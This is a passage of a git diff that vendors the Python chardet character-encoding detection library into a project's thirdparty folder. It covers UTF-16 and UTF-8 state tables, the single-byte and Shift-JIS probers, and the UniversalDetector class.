MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,#08-0f + MachineState.ITS_ME,MachineState.ITS_ME, 6, 6, 6, 6,MachineState.ERROR,MachineState.ERROR,#10-17 + 6, 6, 6, 6, 6,MachineState.ITS_ME, 6, 6,#18-1f + 6, 6, 6, 6, 5, 7, 7,MachineState.ERROR,#20-27 + 5, 8, 6, 6,MachineState.ERROR, 6, 6, 6,#28-2f + 6, 6, 6, 6,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START #30-37 +) + +UCS2BE_CHAR_LEN_TABLE = (2, 2, 2, 0, 2, 2) + +UCS2BE_SM_MODEL = {'class_table': UCS2BE_CLS, + 'class_factor': 6, + 'state_table': UCS2BE_ST, + 'char_len_table': UCS2BE_CHAR_LEN_TABLE, + 'name': 'UTF-16BE'} + +# UCS2-LE + +UCS2LE_CLS = ( + 0,0,0,0,0,0,0,0, # 00 - 07 + 0,0,1,0,0,2,0,0, # 08 - 0f + 0,0,0,0,0,0,0,0, # 10 - 17 + 0,0,0,3,0,0,0,0, # 18 - 1f + 0,0,0,0,0,0,0,0, # 20 - 27 + 0,3,3,3,3,3,0,0, # 28 - 2f + 0,0,0,0,0,0,0,0, # 30 - 37 + 0,0,0,0,0,0,0,0, # 38 - 3f + 0,0,0,0,0,0,0,0, # 40 - 47 + 0,0,0,0,0,0,0,0, # 48 - 4f + 0,0,0,0,0,0,0,0, # 50 - 57 + 0,0,0,0,0,0,0,0, # 58 - 5f + 0,0,0,0,0,0,0,0, # 60 - 67 + 0,0,0,0,0,0,0,0, # 68 - 6f + 0,0,0,0,0,0,0,0, # 70 - 77 + 0,0,0,0,0,0,0,0, # 78 - 7f + 0,0,0,0,0,0,0,0, # 80 - 87 + 0,0,0,0,0,0,0,0, # 88 - 8f + 0,0,0,0,0,0,0,0, # 90 - 97 + 0,0,0,0,0,0,0,0, # 98 - 9f + 0,0,0,0,0,0,0,0, # a0 - a7 + 0,0,0,0,0,0,0,0, # a8 - af + 0,0,0,0,0,0,0,0, # b0 - b7 + 0,0,0,0,0,0,0,0, # b8 - bf + 0,0,0,0,0,0,0,0, # c0 - c7 + 0,0,0,0,0,0,0,0, # c8 - cf + 0,0,0,0,0,0,0,0, # d0 - d7 + 0,0,0,0,0,0,0,0, # d8 - df + 0,0,0,0,0,0,0,0, # e0 - e7 + 0,0,0,0,0,0,0,0, # e8 - ef + 0,0,0,0,0,0,0,0, # f0 - f7 + 0,0,0,0,0,0,4,5 # f8 - ff +) + +UCS2LE_ST = ( + 6, 6, 7, 6, 4, 3,MachineState.ERROR,MachineState.ERROR,#00-07 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,#08-0f + MachineState.ITS_ME,MachineState.ITS_ME, 5, 5, 5,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,#10-17 + 5, 5, 5,MachineState.ERROR, 5,MachineState.ERROR, 6, 6,#18-1f + 7, 6, 8, 8, 5, 5, 5,MachineState.ERROR,#20-27 + 5, 5, 5,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 5, 5,#28-2f + 5, 5, 5,MachineState.ERROR, 5,MachineState.ERROR,MachineState.START,MachineState.START #30-37 +) + +UCS2LE_CHAR_LEN_TABLE = (2, 2, 2, 2, 2, 2) + +UCS2LE_SM_MODEL = {'class_table': UCS2LE_CLS, + 'class_factor': 6, + 'state_table': UCS2LE_ST, + 'char_len_table': UCS2LE_CHAR_LEN_TABLE, + 'name': 'UTF-16LE'} + +# UTF-8 + +UTF8_CLS = ( + 1,1,1,1,1,1,1,1, # 00 - 07 #allow 0x00 as a legal value + 1,1,1,1,1,1,0,0, # 08 - 0f + 1,1,1,1,1,1,1,1, # 10 - 17 + 1,1,1,0,1,1,1,1, # 18 - 1f + 1,1,1,1,1,1,1,1, # 20 - 27 + 1,1,1,1,1,1,1,1, # 28 - 2f + 1,1,1,1,1,1,1,1, # 30 - 37 + 1,1,1,1,1,1,1,1, # 38 - 3f + 1,1,1,1,1,1,1,1, # 40 - 47 + 1,1,1,1,1,1,1,1, # 48 - 4f + 1,1,1,1,1,1,1,1, # 50 - 57 + 1,1,1,1,1,1,1,1, # 58 - 5f + 1,1,1,1,1,1,1,1, # 60 - 67 + 1,1,1,1,1,1,1,1, # 68 - 6f + 1,1,1,1,1,1,1,1, # 70 - 77 + 1,1,1,1,1,1,1,1, # 78 - 7f + 2,2,2,2,3,3,3,3, # 80 - 87 + 4,4,4,4,4,4,4,4, # 88 - 8f + 4,4,4,4,4,4,4,4, # 90 - 97 + 4,4,4,4,4,4,4,4, # 98 - 9f + 5,5,5,5,5,5,5,5, # a0 - a7 + 5,5,5,5,5,5,5,5, # a8 - af + 5,5,5,5,5,5,5,5, # b0 - b7 + 5,5,5,5,5,5,5,5, # b8 - bf + 0,0,6,6,6,6,6,6, # c0 - c7 + 6,6,6,6,6,6,6,6, # c8 - cf + 6,6,6,6,6,6,6,6, # d0 - d7 + 6,6,6,6,6,6,6,6, # d8 - df + 7,8,8,8,8,8,8,8, # e0 - e7 + 8,8,8,8,8,9,8,8, # e8 - ef + 10,11,11,11,11,11,11,11, # f0 - f7 + 12,13,13,13,14,15,0,0 # f8 - ff +) + +UTF8_ST = ( + MachineState.ERROR,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 12, 10,#00-07 + 9, 11, 8, 7, 6, 5, 4, 3,#08-0f + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#10-17 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#18-1f + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,#20-27 + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,#28-2f + MachineState.ERROR,MachineState.ERROR, 5, 5, 5, 5,MachineState.ERROR,MachineState.ERROR,#30-37 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#38-3f + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 5, 5, 5,MachineState.ERROR,MachineState.ERROR,#40-47 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#48-4f + MachineState.ERROR,MachineState.ERROR, 7, 7, 7, 7,MachineState.ERROR,MachineState.ERROR,#50-57 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#58-5f + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 7, 7,MachineState.ERROR,MachineState.ERROR,#60-67 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#68-6f + MachineState.ERROR,MachineState.ERROR, 9, 9, 9, 9,MachineState.ERROR,MachineState.ERROR,#70-77 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#78-7f + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 9,MachineState.ERROR,MachineState.ERROR,#80-87 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#88-8f + MachineState.ERROR,MachineState.ERROR, 12, 12, 12, 12,MachineState.ERROR,MachineState.ERROR,#90-97 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#98-9f + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 12,MachineState.ERROR,MachineState.ERROR,#a0-a7 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#a8-af + MachineState.ERROR,MachineState.ERROR, 12, 12, 12,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#b0-b7 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#b8-bf + MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,#c0-c7 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR #c8-cf +) + +UTF8_CHAR_LEN_TABLE = (0, 1, 0, 0, 0, 0, 2, 3, 3, 3, 4, 4, 5, 5, 6, 6) + +UTF8_SM_MODEL = {'class_table': UTF8_CLS, + 'class_factor': 16, + 'state_table': UTF8_ST, + 'char_len_table': UTF8_CHAR_LEN_TABLE, + 'name': 'UTF-8'} diff --git a/src/thirdparty/chardet/sbcharsetprober.py b/src/thirdparty/chardet/sbcharsetprober.py new file mode 100644 index 0000000000..46ba835c66 --- /dev/null +++ b/src/thirdparty/chardet/sbcharsetprober.py @@ -0,0 +1,145 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 2001 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# Shy Shalom - original C code +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from collections import namedtuple + +from .charsetprober import CharSetProber +from .enums import CharacterCategory, ProbingState, SequenceLikelihood + + +SingleByteCharSetModel = namedtuple('SingleByteCharSetModel', + ['charset_name', + 'language', + 'char_to_order_map', + 'language_model', + 'typical_positive_ratio', + 'keep_ascii_letters', + 'alphabet']) + + +class SingleByteCharSetProber(CharSetProber): + SAMPLE_SIZE = 64 + SB_ENOUGH_REL_THRESHOLD = 1024 # 0.25 * SAMPLE_SIZE^2 + POSITIVE_SHORTCUT_THRESHOLD = 0.95 + NEGATIVE_SHORTCUT_THRESHOLD = 0.05 + + def __init__(self, model, reversed=False, name_prober=None): + super(SingleByteCharSetProber, self).__init__() + self._model = model + # TRUE if we need to reverse every pair in the model lookup + self._reversed = reversed + # Optional auxiliary prober for name decision + self._name_prober = name_prober + self._last_order = None + self._seq_counters = None + self._total_seqs = None + self._total_char = None + self._freq_char = None + self.reset() + + def reset(self): + super(SingleByteCharSetProber, self).reset() + # char order of last character + self._last_order = 255 + self._seq_counters = [0] * SequenceLikelihood.get_num_categories() + self._total_seqs = 0 + self._total_char = 0 + # characters that fall in our sampling range + self._freq_char = 0 + + @property + def charset_name(self): + if self._name_prober: + return self._name_prober.charset_name + else: + return self._model.charset_name + + @property + def language(self): + if self._name_prober: + return self._name_prober.language + else: + return self._model.language + + def feed(self, byte_str): + # TODO: Make filter_international_words keep things in self.alphabet + if not self._model.keep_ascii_letters: + byte_str = self.filter_international_words(byte_str) + if not byte_str: + return self.state + char_to_order_map = self._model.char_to_order_map + language_model = self._model.language_model + for char in byte_str: + order = char_to_order_map.get(char, CharacterCategory.UNDEFINED) + # XXX: This was SYMBOL_CAT_ORDER before, with a value of 250, but + # CharacterCategory.SYMBOL is actually 253, so we use CONTROL + # to make it closer to the original intent. The only difference + # is whether or not we count digits and control characters for + # _total_char purposes. + if order < CharacterCategory.CONTROL: + self._total_char += 1 + # TODO: Follow uchardet's lead and discount confidence for frequent + # control characters. + # See https://github.com/BYVoid/uchardet/commit/55b4f23971db61 + if order < self.SAMPLE_SIZE: + self._freq_char += 1 + if self._last_order < self.SAMPLE_SIZE: + self._total_seqs += 1 + if not self._reversed: + lm_cat = language_model[self._last_order][order] + else: + lm_cat = language_model[order][self._last_order] + self._seq_counters[lm_cat] += 1 + self._last_order = order + + charset_name = self._model.charset_name + if self.state == ProbingState.DETECTING: + if self._total_seqs > self.SB_ENOUGH_REL_THRESHOLD: + confidence = self.get_confidence() + if confidence > self.POSITIVE_SHORTCUT_THRESHOLD: + self.logger.debug('%s confidence = %s, we have a winner', + charset_name, confidence) + self._state = ProbingState.FOUND_IT + elif confidence < self.NEGATIVE_SHORTCUT_THRESHOLD: + self.logger.debug('%s confidence = %s, below negative ' + 'shortcut threshhold %s', charset_name, + confidence, + self.NEGATIVE_SHORTCUT_THRESHOLD) + self._state = ProbingState.NOT_ME + + return self.state + + def get_confidence(self): + r = 0.01 + if self._total_seqs > 0: + r = ((1.0 * self._seq_counters[SequenceLikelihood.POSITIVE]) / + self._total_seqs / self._model.typical_positive_ratio) + r = r * self._freq_char / self._total_char + if r >= 1.0: + r = 0.99 + return r diff --git a/src/thirdparty/chardet/sbcsgroupprober.py b/src/thirdparty/chardet/sbcsgroupprober.py new file mode 100644 index 0000000000..bdeef4e15b --- /dev/null +++ b/src/thirdparty/chardet/sbcsgroupprober.py @@ -0,0 +1,83 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 2001 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# Shy Shalom - original C code +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .charsetgroupprober import CharSetGroupProber +from .hebrewprober import HebrewProber +from .langbulgarianmodel import (ISO_8859_5_BULGARIAN_MODEL, + WINDOWS_1251_BULGARIAN_MODEL) +from .langgreekmodel import ISO_8859_7_GREEK_MODEL, WINDOWS_1253_GREEK_MODEL +from .langhebrewmodel import WINDOWS_1255_HEBREW_MODEL +# from .langhungarianmodel import (ISO_8859_2_HUNGARIAN_MODEL, +# WINDOWS_1250_HUNGARIAN_MODEL) +from .langrussianmodel import (IBM855_RUSSIAN_MODEL, IBM866_RUSSIAN_MODEL, + ISO_8859_5_RUSSIAN_MODEL, KOI8_R_RUSSIAN_MODEL, + MACCYRILLIC_RUSSIAN_MODEL, + WINDOWS_1251_RUSSIAN_MODEL) +from .langthaimodel import TIS_620_THAI_MODEL +from .langturkishmodel import ISO_8859_9_TURKISH_MODEL +from .sbcharsetprober import SingleByteCharSetProber + + +class SBCSGroupProber(CharSetGroupProber): + def __init__(self): + super(SBCSGroupProber, self).__init__() + hebrew_prober = HebrewProber() + logical_hebrew_prober = SingleByteCharSetProber(WINDOWS_1255_HEBREW_MODEL, + False, hebrew_prober) + # TODO: See if using ISO-8859-8 Hebrew model works better here, since + # it's actually the visual one + visual_hebrew_prober = SingleByteCharSetProber(WINDOWS_1255_HEBREW_MODEL, + True, hebrew_prober) + hebrew_prober.set_model_probers(logical_hebrew_prober, + visual_hebrew_prober) + # TODO: ORDER MATTERS HERE. I changed the order vs what was in master + # and several tests failed that did not before. Some thought + # should be put into the ordering, and we should consider making + # order not matter here, because that is very counter-intuitive. + self.probers = [ + SingleByteCharSetProber(WINDOWS_1251_RUSSIAN_MODEL), + SingleByteCharSetProber(KOI8_R_RUSSIAN_MODEL), + SingleByteCharSetProber(ISO_8859_5_RUSSIAN_MODEL), + SingleByteCharSetProber(MACCYRILLIC_RUSSIAN_MODEL), + SingleByteCharSetProber(IBM866_RUSSIAN_MODEL), + SingleByteCharSetProber(IBM855_RUSSIAN_MODEL), + SingleByteCharSetProber(ISO_8859_7_GREEK_MODEL), + SingleByteCharSetProber(WINDOWS_1253_GREEK_MODEL), + SingleByteCharSetProber(ISO_8859_5_BULGARIAN_MODEL), + SingleByteCharSetProber(WINDOWS_1251_BULGARIAN_MODEL), + # TODO: Restore Hungarian encodings (iso-8859-2 and windows-1250) + # after we retrain model. + # SingleByteCharSetProber(ISO_8859_2_HUNGARIAN_MODEL), + # SingleByteCharSetProber(WINDOWS_1250_HUNGARIAN_MODEL), + SingleByteCharSetProber(TIS_620_THAI_MODEL), + SingleByteCharSetProber(ISO_8859_9_TURKISH_MODEL), + hebrew_prober, + logical_hebrew_prober, + visual_hebrew_prober, + ] + self.reset() diff --git a/src/thirdparty/chardet/sjisprober.py b/src/thirdparty/chardet/sjisprober.py new file mode 100644 index 0000000000..9e29623bdc --- /dev/null +++ b/src/thirdparty/chardet/sjisprober.py @@ -0,0 +1,92 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .mbcharsetprober import MultiByteCharSetProber +from .codingstatemachine import CodingStateMachine +from .chardistribution import SJISDistributionAnalysis +from .jpcntx import SJISContextAnalysis +from .mbcssm import SJIS_SM_MODEL +from .enums import ProbingState, MachineState + + +class SJISProber(MultiByteCharSetProber): + def __init__(self): + super(SJISProber, self).__init__() + self.coding_sm = CodingStateMachine(SJIS_SM_MODEL) + self.distribution_analyzer = SJISDistributionAnalysis() + self.context_analyzer = SJISContextAnalysis() + self.reset() + + def reset(self): + super(SJISProber, self).reset() + self.context_analyzer.reset() + + @property + def charset_name(self): + return self.context_analyzer.charset_name + + @property + def language(self): + return "Japanese" + + def feed(self, byte_str): + for i in range(len(byte_str)): + coding_state = self.coding_sm.next_state(byte_str[i]) + if coding_state == MachineState.ERROR: + self.logger.debug('%s %s prober hit error at byte %s', + self.charset_name, self.language, i) + self._state = ProbingState.NOT_ME + break + elif coding_state == MachineState.ITS_ME: + self._state = ProbingState.FOUND_IT + break + elif coding_state == MachineState.START: + char_len = self.coding_sm.get_current_charlen() + if i == 0: + self._last_char[1] = byte_str[0] + self.context_analyzer.feed(self._last_char[2 - char_len:], + char_len) + self.distribution_analyzer.feed(self._last_char, char_len) + else: + self.context_analyzer.feed(byte_str[i + 1 - char_len:i + 3 + - char_len], char_len) + self.distribution_analyzer.feed(byte_str[i - 1:i + 1], + char_len) + + self._last_char[0] = byte_str[-1] + + if self.state == ProbingState.DETECTING: + if (self.context_analyzer.got_enough_data() and + (self.get_confidence() > self.SHORTCUT_THRESHOLD)): + self._state = ProbingState.FOUND_IT + + return self.state + + def get_confidence(self): + context_conf = self.context_analyzer.get_confidence() + distrib_conf = self.distribution_analyzer.get_confidence() + return max(context_conf, distrib_conf) diff --git a/src/thirdparty/chardet/universaldetector.py b/src/thirdparty/chardet/universaldetector.py new file mode 100644 index 0000000000..055a8ac1b1 --- /dev/null +++ b/src/thirdparty/chardet/universaldetector.py @@ -0,0 +1,286 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 2001 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# Shy Shalom - original C code +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### +""" +Module containing the UniversalDetector detector class, which is the primary +class a user of ``chardet`` should use. + +:author: Mark Pilgrim (initial port to Python) +:author: Shy Shalom (original C code) +:author: Dan Blanchard (major refactoring for 3.0) +:author: Ian Cordasco +""" + + +import codecs +import logging +import re + +from .charsetgroupprober import CharSetGroupProber +from .enums import InputState, LanguageFilter, ProbingState +from .escprober import EscCharSetProber +from .latin1prober import Latin1Prober +from .mbcsgroupprober import MBCSGroupProber +from .sbcsgroupprober import SBCSGroupProber + + +class UniversalDetector(object): + """ + The ``UniversalDetector`` class underlies the ``chardet.detect`` function + and coordinates all of the different charset probers. + + To get a ``dict`` containing an encoding and its confidence, you can simply + run: + + .. code:: + + u = UniversalDetector() + u.feed(some_bytes) + u.close() + detected = u.result + + """ + + MINIMUM_THRESHOLD = 0.20 + HIGH_BYTE_DETECTOR = re.compile(b'[\x80-\xFF]') + ESC_DETECTOR = re.compile(b'(\033|~{)') + WIN_BYTE_DETECTOR = re.compile(b'[\x80-\x9F]') + ISO_WIN_MAP = {'iso-8859-1': 'Windows-1252', + 'iso-8859-2': 'Windows-1250', + 'iso-8859-5': 'Windows-1251', + 'iso-8859-6': 'Windows-1256', + 'iso-8859-7': 'Windows-1253', + 'iso-8859-8': 'Windows-1255', + 'iso-8859-9': 'Windows-1254', + 'iso-8859-13': 'Windows-1257'} + + def __init__(self, lang_filter=LanguageFilter.ALL): + self._esc_charset_prober = None + self._charset_probers = [] + self.result = None + self.done = None + self._got_data = None + self._input_state = None + self._last_char = None + self.lang_filter = lang_filter + self.logger = logging.getLogger(__name__) + self._has_win_bytes = None + self.reset() + + def reset(self): + """ + Reset the UniversalDetector and all of its probers back to their + initial states. This is called by ``__init__``, so you only need to + call this directly in between analyses of different documents. + """ + self.result = {'encoding': None, 'confidence': 0.0, 'language': None} + self.done = False + self._got_data = False + self._has_win_bytes = False + self._input_state = InputState.PURE_ASCII + self._last_char = b'' + if self._esc_charset_prober: + self._esc_charset_prober.reset() + for prober in self._charset_probers: + prober.reset() + + def feed(self, byte_str): + """ + Takes a chunk of a document and feeds it through all of the relevant + charset probers. + + After calling ``feed``, you can check the value of the ``done`` + attribute to see if you need to continue feeding the + ``UniversalDetector`` more data, or if it has made a prediction + (in the ``result`` attribute). + + .. note:: + You should always call ``close`` when you're done feeding in your + document if ``done`` is not already ``True``. + """ + if self.done: + return + + if not len(byte_str): + return + + if not isinstance(byte_str, bytearray): + byte_str = bytearray(byte_str) + + # First check for known BOMs, since these are guaranteed to be correct + if not self._got_data: + # If the data starts with BOM, we know it is UTF + if byte_str.startswith(codecs.BOM_UTF8): + # EF BB BF UTF-8 with BOM + self.result = {'encoding': "UTF-8-SIG", + 'confidence': 1.0, + 'language': ''} + elif byte_str.startswith((codecs.BOM_UTF32_LE, + codecs.BOM_UTF32_BE)): + # FF FE 00 00 UTF-32, little-endian BOM + # 00 00 FE FF UTF-32, big-endian BOM + self.result = {'encoding': "UTF-32", + 'confidence': 1.0, + 'language': ''} + elif byte_str.startswith(b'\xFE\xFF\x00\x00'): + # FE FF 00 00 UCS-4, unusual octet order BOM (3412) + self.result = {'encoding': "X-ISO-10646-UCS-4-3412", + 'confidence': 1.0, + 'language': ''} + elif byte_str.startswith(b'\x00\x00\xFF\xFE'): + # 00 00 FF FE UCS-4, unusual octet order BOM (2143) + self.result = {'encoding': "X-ISO-10646-UCS-4-2143", + 'confidence': 1.0, + 'language': ''} + elif byte_str.startswith((codecs.BOM_LE, codecs.BOM_BE)): + # FF FE UTF-16, little endian BOM + # FE FF UTF-16, big endian BOM + self.result = {'encoding': "UTF-16", + 'confidence': 1.0, + 'language': ''} + + self._got_data = True + if self.result['encoding'] is not None: + self.done = True + return + + # If none of those matched and we've only see ASCII so far, check + # for high bytes and escape sequences + if self._input_state == InputState.PURE_ASCII: + if self.HIGH_BYTE_DETECTOR.search(byte_str): + self._input_state = InputState.HIGH_BYTE + elif self._input_state == InputState.PURE_ASCII and \ + self.ESC_DETECTOR.search(self._last_char + byte_str): + self._input_state = InputState.ESC_ASCII + + self._last_char = byte_str[-1:] + + # If we've seen escape sequences, use the EscCharSetProber, which + # uses a simple state machine to check for known escape sequences in + # HZ and ISO-2022 encodings, since those are the only encodings that + # use such sequences. + if self._input_state == InputState.ESC_ASCII: + if not self._esc_charset_prober: + self._esc_charset_prober = EscCharSetProber(self.lang_filter) + if self._esc_charset_prober.feed(byte_str) == ProbingState.FOUND_IT: + self.result = {'encoding': + self._esc_charset_prober.charset_name, + 'confidence': + self._esc_charset_prober.get_confidence(), + 'language': + self._esc_charset_prober.language} + self.done = True + # If we've seen high bytes (i.e., those with values greater than 127), + # we need to do more complicated checks using all our multi-byte and + # single-byte probers that are left. The single-byte probers + # use character bigram distributions to determine the encoding, whereas + # the multi-byte probers use a combination of character unigram and + # bigram distributions. + elif self._input_state == InputState.HIGH_BYTE: + if not self._charset_probers: + self._charset_probers = [MBCSGroupProber(self.lang_filter)] + # If we're checking non-CJK encodings, use single-byte prober + if self.lang_filter & LanguageFilter.NON_CJK: + self._charset_probers.append(SBCSGroupProber()) + self._charset_probers.append(Latin1Prober()) + for prober in self._charset_probers: + if prober.feed(byte_str) == ProbingState.FOUND_IT: + self.result = {'encoding': prober.charset_name, + 'confidence': prober.get_confidence(), + 'language': prober.language} + self.done = True + break + if self.WIN_BYTE_DETECTOR.search(byte_str): + self._has_win_bytes = True + + def close(self): + """ + Stop analyzing the current document and come up with a final + prediction. + + :returns: The ``result`` attribute, a ``dict`` with the keys + `encoding`, `confidence`, and `language`. + """ + # Don't bother with checks if we're already done + if self.done: + return self.result + self.done = True + + if not self._got_data: + self.logger.debug('no data received!') + + # Default to ASCII if it is all we've seen so far + elif self._input_state == InputState.PURE_ASCII: + self.result = {'encoding': 'ascii', + 'confidence': 1.0, + 'language': ''} + + # If we have seen non-ASCII, return the best that met MINIMUM_THRESHOLD + elif self._input_state == InputState.HIGH_BYTE: + prober_confidence = None + max_prober_confidence = 0.0 + max_prober = None + for prober in self._charset_probers: + if not prober: + continue + prober_confidence = prober.get_confidence() + if prober_confidence > max_prober_confidence: + max_prober_confidence = prober_confidence + max_prober = prober + if max_prober and (max_prober_confidence > self.MINIMUM_THRESHOLD): + charset_name = max_prober.charset_name + lower_charset_name = max_prober.charset_name.lower() + confidence = max_prober.get_confidence() + # Use Windows encoding name instead of ISO-8859 if we saw any + # extra Windows-specific bytes + if lower_charset_name.startswith('iso-8859'): + if self._has_win_bytes: + charset_name = self.ISO_WIN_MAP.get(lower_charset_name, + charset_name) + self.result = {'encoding': charset_name, + 'confidence': confidence, + 'language': max_prober.language} + + # Log all prober confidences if none met MINIMUM_THRESHOLD + if self.logger.getEffectiveLevel() <= logging.DEBUG: + if self.result['encoding'] is None: + self.logger.debug('no probers hit minimum threshold') + for group_prober in self._charset_probers: + if not group_prober: + continue + if isinstance(group_prober, CharSetGroupProber): + for prober in group_prober.probers: + self.logger.debug('%s %s confidence = %s', + prober.charset_name, + prober.language, + prober.get_confidence()) + else: + self.logger.debug('%s %s confidence = %s', + group_prober.charset_name, + group_prober.language, + group_prober.get_confidence()) + return self.result diff --git a/src/thirdparty/chardet/utf8prober.py b/src/thirdparty/chardet/utf8prober.py new file mode 100644 index 0000000000..6c3196cc2d --- /dev/null +++ b/src/thirdparty/chardet/utf8prober.py @@ -0,0 +1,82 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but 